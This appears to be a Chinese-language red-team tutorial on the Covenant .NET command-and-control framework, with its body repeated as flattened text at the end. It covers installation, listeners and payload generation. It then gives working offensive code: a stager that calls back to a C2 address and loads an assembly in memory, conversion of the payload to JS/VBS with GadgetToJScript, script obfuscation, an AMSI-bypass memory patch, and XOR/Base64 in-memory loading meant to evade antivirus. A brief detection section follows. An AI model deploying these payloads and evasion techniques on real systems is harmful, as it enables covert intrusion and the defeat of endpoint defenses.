开源C2:Covenant学习
字数 1660 2025-08-07 08:22:07

Covenant C2 框架全面学习指南

一、Covenant 简介

Covenant 是一款基于 .NET 开发的 C2 (Command and Control) 框架,专为红队操作设计,具有以下核心特点:

  • 开发语言:C# (.NET Core)
  • 跨平台支持:Windows、Linux、MacOS 及 Docker 容器
  • 动态编译:支持上传 C# 代码到 C2 Server 并在内存中加载执行
  • 可扩展性:提供丰富的 API 接口和自定义功能

主要优势

  1. 基于 Windows 系统原生支持,使用 .NET 框架
  2. 仅需 .NET 3.5+ 版本,支持静默安装
  3. 高度可扩展的架构设计
  4. 开源免费,避免商业工具的法律风险

二、安装与配置

Docker 安装(推荐)

# 克隆仓库(可能需要科学上网)
proxychains git clone --recurse-submodules https://github.com/cobbr/Covenant

# 构建镜像
cd Covenant/Covenant
sudo docker build -t covenant .

启动 Covenant

sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 \
--name covenant -v /path/to/Covenant/Data:/app/Data covenant

参数说明

  • -p:端口映射(7443为管理界面,80/443为监听端口)
  • -v:数据目录映射(必须使用绝对路径)

解决端口冲突

# 查看占用端口的进程
sudo netstat -nultp

# 停止占用服务(如Apache)
sudo service apache2 stop

访问管理界面

https://127.0.0.1:7443

首次访问需要注册管理员账户。

三、核心功能模块

1. Listeners(监听器)

支持多种监听配置:

DefaultHttpProfile

  • 默认HTTP通信模板
  • 包含预定义的Header、URL路径和响应格式

CustomHttpProfile

  • 完全自定义的HTTP通信配置

TCPBridgeProfile

创建监听器步骤

  1. 选择Profile类型
  2. 配置绑定地址和端口
  3. 设置通信参数(Header、URL路径等)

2. Launchers(载荷生成)

提供10种载荷生成方式(注意:默认方式易被杀软检测):

Binary Launcher示例

  1. 选择Binary类型
  2. 配置关联的Listener
  3. 生成可执行文件

3. Templates(模板)

  • 预置多种任务模板
  • 支持自定义模板开发

4. Grunts(代理)

  • 上线主机管理界面
  • 支持交互式命令执行
  • 可修改代理参数(延迟、工作时段等)

5. Tasks(任务)

  • 向代理下发任务
  • 内置多种功能模块(信息收集、权限提升等)

6. Taskings(任务历史)

  • 查看已执行命令的历史记录
  • 包含执行结果和状态

7. Graph(关系图)

  • 可视化展示C2网络拓扑
  • 显示主机间关系

8. Data(数据)

  • 集中存储收集的数据
  • 结构化展示获取的信息

四、实战使用示例

1. 生成并执行Grunt

// 示例Grunt代码(简化版)
using System;
using System.Net;
using System.Linq;
using System.Reflection;

namespace GruntStager {
    public class GruntStager {
        public void ExecuteStager() {
            // 通信配置
            string CovenantURI = "http://192.168.175.209:80";
            // ...省略加密和通信细节...
            
            // 加载执行Assembly
            byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
            Assembly.Load(DecryptedAssembly).GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, "", GUID, SessionKey });
        }
    }
}

编译执行

csc /t:exe Grunt.cs
./Grunt.exe

2. 与GadgetToJScript结合

GadgetToJScript 工具可将.NET程序集转换为JS/VBS脚本:

GadgetToJScript.exe -w js -f Grunt.cs -d System.Core.dll -o matrix

参数说明

  • -w:输出格式(js/vbs/vba)
  • -f:输入的C#文件
  • -d:额外引用的DLL
  • -o:输出文件名

3. JS文件混淆技巧

// 原始字符串
("D:\\7-Zip\\1\\")

// 混淆后
(/D:\7-Zip\1/.source + '\\')

五、绕过防护技术

AMSI绕过技术

// PatchAmsi.cs
using System;
using System.Runtime.InteropServices;

public class Program {
    [DllImport("kernel32")]
    private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
    public static void Patch() {
        IntPtr hModule = LoadLibrary("amsi.dll");
        // 使用egg hunt技术定位AmsiScanBuffer
        byte[] egg = { 0x4C, 0x8B, 0xDC, 0x49, 0x89, 0x5B, 0x08 };
        IntPtr address = FindAddress(GetProcAddress(hModule, "DllCanUnloadNow"), egg);
        
        // Patch内存
        byte[] patch = { 0xb8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax,0x80070057; ret
        Marshal.Copy(patch, 0, address, 6);
    }
}

关键点

  1. 避免直接使用"AmsiScanBuffer"字符串
  2. 使用egg hunt模式动态定位函数地址
  3. Patch为返回固定值0x80070057 (E_INVALIDARG)

内存加载混淆技术

# 1. 读取并加密二进制
[byte[]]$rawbytes = [System.IO.File]::ReadAllBytes("Grunt.exe")
for ($i = 0; $i -lt $rawbytes.Length; $i++) { $rawbytes[$i] = $rawbytes[$i] -bxor 0x77 }

# 2. Base64编码
$b64 = [System.Convert]::ToBase64String($rawbytes)

# 3. 在C#中解密执行
byte[] bytes = Convert.FromBase64String(b64);
for (int i = 0; i < bytes.Length; i++) { bytes[i] ^= 0x77; }
Assembly.Load(bytes);

六、防御与检测建议

  1. 监控异常.NET行为

    • 非正常路径的Assembly.Load操作
    • 异常的HTTP/S通信模式
  2. 检测AMSI绕过

    • 监控amsi.dll的内存修改
    • 检测对AmsiScanBuffer的hook
  3. 增强日志记录

    • 记录所有PowerShell和cscript/wscript活动
    • 监控异常的脚本行为

七、总结

Covenant作为一款开源的.NET C2框架,具有:

  1. 高度可定制性:可修改通信模式、加密方式等
  2. 良好的扩展性:支持自定义模块开发
  3. 跨平台支持:通过.NET Core实现多平台运行

结合GadgetToJScript等工具,可以实现多种方式的载荷投递。但需注意:

  • 默认模板已被主流杀软标记
  • 需配合混淆和绕过技术使用
  • 适合红队研究和自定义开发

通过本文介绍的技术组合,安全研究人员可以深入理解.NET C2的工作原理及防御方法。

Covenant C2 框架全面学习指南 一、Covenant 简介 Covenant 是一款基于 .NET 开发的 C2 (Command and Control) 框架,专为红队操作设计,具有以下核心特点: 开发语言 :C# (.NET Core) 跨平台支持 :Windows、Linux、MacOS 及 Docker 容器 动态编译 :支持上传 C# 代码到 C2 Server 并在内存中加载执行 可扩展性 :提供丰富的 API 接口和自定义功能 主要优势 基于 Windows 系统原生支持,使用 .NET 框架 仅需 .NET 3.5+ 版本,支持静默安装 高度可扩展的架构设计 开源免费,避免商业工具的法律风险 二、安装与配置 Docker 安装(推荐) 启动 Covenant 参数说明 : -p :端口映射(7443为管理界面,80/443为监听端口) -v :数据目录映射(必须使用绝对路径) 解决端口冲突 访问管理界面 首次访问需要注册管理员账户。 三、核心功能模块 1. Listeners(监听器) 支持多种监听配置: DefaultHttpProfile 默认HTTP通信模板 包含预定义的Header、URL路径和响应格式 CustomHttpProfile 完全自定义的HTTP通信配置 TCPBridgeProfile TCP桥接模式,参考: C2Bridge项目 创建监听器步骤 : 选择Profile类型 配置绑定地址和端口 设置通信参数(Header、URL路径等) 2. Launchers(载荷生成) 提供10种载荷生成方式(注意:默认方式易被杀软检测): Binary Launcher示例 选择Binary类型 配置关联的Listener 生成可执行文件 3. Templates(模板) 预置多种任务模板 支持自定义模板开发 4. Grunts(代理) 上线主机管理界面 支持交互式命令执行 可修改代理参数(延迟、工作时段等) 5. Tasks(任务) 向代理下发任务 内置多种功能模块(信息收集、权限提升等) 6. Taskings(任务历史) 查看已执行命令的历史记录 包含执行结果和状态 7. Graph(关系图) 可视化展示C2网络拓扑 显示主机间关系 8. Data(数据) 集中存储收集的数据 结构化展示获取的信息 四、实战使用示例 1. 生成并执行Grunt 编译执行 : 2. 与GadgetToJScript结合 GadgetToJScript 工具可将.NET程序集转换为JS/VBS脚本: 参数说明 : -w :输出格式(js/vbs/vba) -f :输入的C#文件 -d :额外引用的DLL -o :输出文件名 3. JS文件混淆技巧 五、绕过防护技术 AMSI绕过技术 关键点 : 避免直接使用"AmsiScanBuffer"字符串 使用egg hunt模式动态定位函数地址 Patch为返回固定值0x80070057 (E_ INVALIDARG) 内存加载混淆技术 六、防御与检测建议 监控异常.NET行为 : 非正常路径的Assembly.Load操作 异常的HTTP/S通信模式 检测AMSI绕过 : 监控amsi.dll的内存修改 检测对AmsiScanBuffer的hook 增强日志记录 : 记录所有PowerShell和cscript/wscript活动 监控异常的脚本行为 七、总结 Covenant作为一款开源的.NET C2框架,具有: 高度可定制性 :可修改通信模式、加密方式等 良好的扩展性 :支持自定义模块开发 跨平台支持 :通过.NET Core实现多平台运行 结合GadgetToJScript等工具,可以实现多种方式的载荷投递。但需注意: 默认模板已被主流杀软标记 需配合混淆和绕过技术使用 适合红队研究和自定义开发 通过本文介绍的技术组合,安全研究人员可以深入理解.NET C2的工作原理及防御方法。